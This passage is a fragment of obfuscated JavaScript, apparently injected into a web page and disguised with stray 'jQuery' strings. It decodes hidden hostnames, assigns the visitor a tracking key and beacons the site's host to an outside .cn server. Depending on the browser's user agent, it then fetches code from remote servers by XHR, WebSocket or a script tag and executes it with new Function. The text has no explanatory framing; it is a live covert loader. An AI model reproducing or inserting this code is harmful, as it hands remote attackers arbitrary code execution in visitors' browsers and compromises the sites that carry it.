x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};